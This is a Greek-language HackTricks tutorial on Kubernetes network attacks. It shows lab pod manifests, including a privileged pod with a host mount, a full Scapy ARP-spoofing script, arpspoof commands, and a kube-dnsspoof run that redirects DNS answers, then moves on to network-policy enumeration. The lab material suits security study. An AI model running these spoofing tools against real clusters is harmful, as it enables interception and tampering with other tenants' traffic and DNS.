Kubernetes Network Attacks

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Introduction

Στο Kubernetes, παρατηρείται ότι μια προεπιλεγμένη συμπεριφορά επιτρέπει την εγκαθίδρυση συνδέσεων μεταξύ όλων των κοντέινερ που βρίσκονται στον ίδιο κόμβο. Αυτό ισχύει ανεξάρτητα από τις διακρίσεις ονομάτων χώρου. Αυτή η συνδεσιμότητα επεκτείνεται μέχρι το Layer 2 (Ethernet). Ως εκ τούτου, αυτή η ρύθμιση ενδέχεται να εκθέσει το σύστημα σε ευπάθειες. Συγκεκριμένα, ανοίγει τη δυνατότητα για ένα κακόβουλο κοντέινερ να εκτελέσει μια επίθεση spoofing ARP κατά άλλων κοντέινερ που βρίσκονται στον ίδιο κόμβο. Κατά τη διάρκεια μιας τέτοιας επίθεσης, το κακόβουλο κοντέινερ μπορεί να παρακολουθήσει ή να τροποποιήσει δόλια την κυκλοφορία δικτύου που προορίζεται για άλλα κοντέινερ.

Οι επιθέσεις spoofing ARP περιλαμβάνουν τον επιτιθέμενο να στέλνει ψευδείς μηνύματα ARP (Πρωτόκολλο Επίλυσης Διευθύνσεων) μέσω ενός τοπικού δικτύου. Αυτό έχει ως αποτέλεσμα τη σύνδεση της διεύθυνσης MAC του επιτιθέμενου με τη διεύθυνση IP ενός νόμιμου υπολογιστή ή διακομιστή στο δίκτυο. Μετά την επιτυχή εκτέλεση μιας τέτοιας επίθεσης, ο επιτιθέμενος μπορεί να παρακολουθήσει, να τροποποιήσει ή ακόμη και να σταματήσει δεδομένα σε μετάδοση. Η επίθεση εκτελείται στο Layer 2 του μοντέλου OSI, γι’ αυτό και η προεπιλεγμένη συνδεσιμότητα στο Kubernetes σε αυτό το επίπεδο εγείρει ανησυχίες ασφαλείας.

Στο σενάριο, θα δημιουργηθούν 4 μηχανές:

  • ubuntu-pe: Μηχανή με προνόμια για να διαφύγει στον κόμβο και να ελέγξει μετρήσεις (δεν είναι απαραίτητη για την επίθεση)
  • ubuntu-attack: Κακόβουλο κοντέινερ στο προεπιλεγμένο namespace
  • ubuntu-victim: Θύμα μηχανή στο namespace kube-system
  • mysql: Θύμα μηχανή στο προεπιλεγμένο namespace
echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -

kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

Βασικά Δίκτυα Kubernetes

Αν θέλετε περισσότερες λεπτομέρειες σχετικά με τα θέματα δικτύωσης που εισάγονται εδώ, πηγαίνετε στις αναφορές.

ARP

Γενικά, η δικτύωση pod-to-pod μέσα στον κόμβο είναι διαθέσιμη μέσω μιας γέφυρας που συνδέει όλα τα pods. Αυτή η γέφυρα ονομάζεται “cbr0”. (Ορισμένα plugins δικτύωσης θα εγκαταστήσουν τη δική τους γέφυρα.) Η cbr0 μπορεί επίσης να διαχειριστεί ARP (Πρωτόκολλο Επίλυσης Διευθύνσεων). Όταν ένα εισερχόμενο πακέτο φτάνει στο cbr0, μπορεί να επιλύσει τη διεύθυνση MAC προορισμού χρησιμοποιώντας ARP.

Αυτό το γεγονός υποδηλώνει ότι, από προεπιλογή, κάθε pod που εκτελείται στον ίδιο κόμβο θα μπορεί να επικοινωνεί με οποιοδήποτε άλλο pod στον ίδιο κόμβο (ανεξάρτητα από το namespace) σε επίπεδο ethernet (επίπεδο 2).

Warning

Επομένως, είναι δυνατό να εκτελούνται επιθέσεις ARP Spoofing μεταξύ pods στον ίδιο κόμβο.

DNS

Σε περιβάλλοντα kubernetes, συνήθως θα βρείτε 1 (ή περισσότερες) υπηρεσίες DNS που εκτελούνται συνήθως στο namespace kube-system:

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

Στις προηγούμενες πληροφορίες μπορείτε να δείτε κάτι ενδιαφέρον, το IP της υπηρεσίας είναι 10.96.0.10 αλλά το IP του pod που εκτελεί την υπηρεσία είναι 172.17.0.2.

Αν ελέγξετε τη διεύθυνση DNS μέσα σε οποιοδήποτε pod θα βρείτε κάτι τέτοιο:

cat /etc/resolv.conf
nameserver 10.96.0.10

Ωστόσο, το pod δεν ξέρει πώς να φτάσει σε αυτή τη διεύθυνση επειδή το εύρος pod σε αυτή την περίπτωση είναι 172.17.0.10/26.

Επομένως, το pod θα στείλει τα DNS requests στη διεύθυνση 10.96.0.10 που θα μεταφραστεί από το cbr0 σε 172.17.0.2.

Warning

Αυτό σημαίνει ότι ένα DNS request ενός pod θα πηγαίνει πάντα στη γέφυρα για να μεταφράσει το service IP σε endpoint IP, ακόμη και αν ο DNS server είναι στο ίδιο υποδίκτυο με το pod.

Γνωρίζοντας αυτό, και γνωρίζοντας ότι ARP επιθέσεις είναι δυνατές, ένα pod σε έναν κόμβο θα είναι σε θέση να παρεμβάλλει την κίνηση μεταξύ κάθε pod στο υποδίκτυο και τη γέφυρα και να τροποποιήσει τις DNS απαντήσεις από τον DNS server (DNS Spoofing).

Επιπλέον, αν ο DNS server είναι στον ίδιο κόμβο με τον επιτιθέμενο, ο επιτιθέμενος μπορεί να παρεμβάλλει όλα τα DNS requests οποιουδήποτε pod στο cluster (μεταξύ του DNS server και της γέφυρας) και να τροποποιήσει τις απαντήσεις.

ARP Spoofing σε pods στον ίδιο Κόμβο

Στόχος μας είναι να κλέψουμε τουλάχιστον την επικοινωνία από τον ubuntu-victim προς τον mysql.

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance

#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS Spoofing

Όπως έχει ήδη αναφερθεί, αν συμβιβάσεις ένα pod στην ίδια κόμβο με το pod του DNS server, μπορείς να MitM με ARPSpoofing τη γέφυρα και το pod DNS και να τροποποιήσεις όλες τις απαντήσεις DNS.

Έχεις ένα πολύ ωραίο εργαλείο και tutorial για να το δοκιμάσεις στο https://github.com/danielsagi/kube-dnsspoof/

Στο σενάριό μας, κατέβασε το εργαλείο στο pod του επιτιθέμενου και δημιούργησε ένα αρχείο με όνομα hosts με τα domains που θέλεις να spoof όπως:

cat hosts
google.com. 1.1.1.1

Εκτελέστε την επίθεση στη μηχανή ubuntu-victim:

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop

#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

Note

Αν προσπαθήσετε να δημιουργήσετε το δικό σας σενάριο DNS spoofing, αν απλώς τροποποιήσετε την απάντηση DNS αυτό δεν θα λειτουργήσει, επειδή η απάντηση θα έχει μια src IP τη διεύθυνση IP του κακόβουλου pod και δεν θα γίνει αποδεκτή.
Πρέπει να δημιουργήσετε ένα νέο πακέτο DNS με την src IP του DNS όπου ο θύμα στέλνει το αίτημα DNS (που είναι κάτι σαν 172.16.0.2, όχι 10.96.0.10, αυτή είναι η IP υπηρεσίας DNS του K8s και όχι η IP του διακομιστή DNS, περισσότερα γι’ αυτό στην εισαγωγή).

DNS Spoofing μέσω του configmap coreDNS

Ένας χρήστης με δικαιώματα εγγραφής στο configmap coredns στο namespace kube-system μπορεί να τροποποιήσει τις απαντήσεις DNS του cluster.

Δείτε περισσότερες πληροφορίες σχετικά με αυτή την επίθεση στο:

{{#ref}} abusing-roles-clusterroles-in-kubernetes/README.md {{/ref}}

Κατάχρηση εκτεθειμένων υπηρεσιών διαχείρισης kubernetes

Υπηρεσίες όπως το Apache NiFi, Kubeflow, Argo Workflows, Weave Scope και ο πίνακας ελέγχου Kubernetes είναι συχνά εκτεθειμένες είτε στο διαδίκτυο είτε εντός του δικτύου kubernetes. Ένας επιτιθέμενος που καταφέρει να βρει οποιαδήποτε πλατφόρμα που χρησιμοποιείται για τη διαχείριση του kubernetes και να έχει πρόσβαση σε αυτή μπορεί να την καταχραστεί για να αποκτήσει πρόσβαση στο API του kubernetes και να εκτελέσει ενέργειες όπως η δημιουργία νέων pods, η τροποποίηση υπαρχόντων ή ακόμη και η διαγραφή τους.

Καταμέτρηση πολιτικών δικτύου kubernetes

Λάβετε τις ρυθμισμένες networkpolicies:

kubectl get networkpolicies --all-namespaces

Λάβετε τις πολιτικές δικτύου Callico:

kubectl get globalnetworkpolicy --all-namespaces

Λάβετε Cillium πολιτικές δικτύου:

kubectl get ciliumnetworkpolicy --all-namespaces

Αποκτήστε άλλες πολιτικές σχετικές CRDs που έχουν εγκατασταθεί από το δίκτυο σας ή τη λύση ασφαλείας:

kubectl get crd | grep -i policy

Καταγραφή Κίνησης

Το εργαλείο Mizu είναι ένας απλός αλλά ισχυρός θεατής κίνησης API για Kubernetes που σας επιτρέπει να βλέπετε όλες τις επικοινωνίες API μεταξύ μικροϋπηρεσιών για να βοηθήσετε στην αποσφαλμάτωση και την επίλυση ανατροπών.
Θα εγκαταστήσει πράκτορες στα επιλεγμένα pods και θα συγκεντρώσει τις πληροφορίες κίνησής τους και θα σας τις δείξει σε έναν διακομιστή ιστού. Ωστόσο, θα χρειαστείτε υψηλά δικαιώματα K8s για αυτό (και δεν είναι πολύ διακριτικό).

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks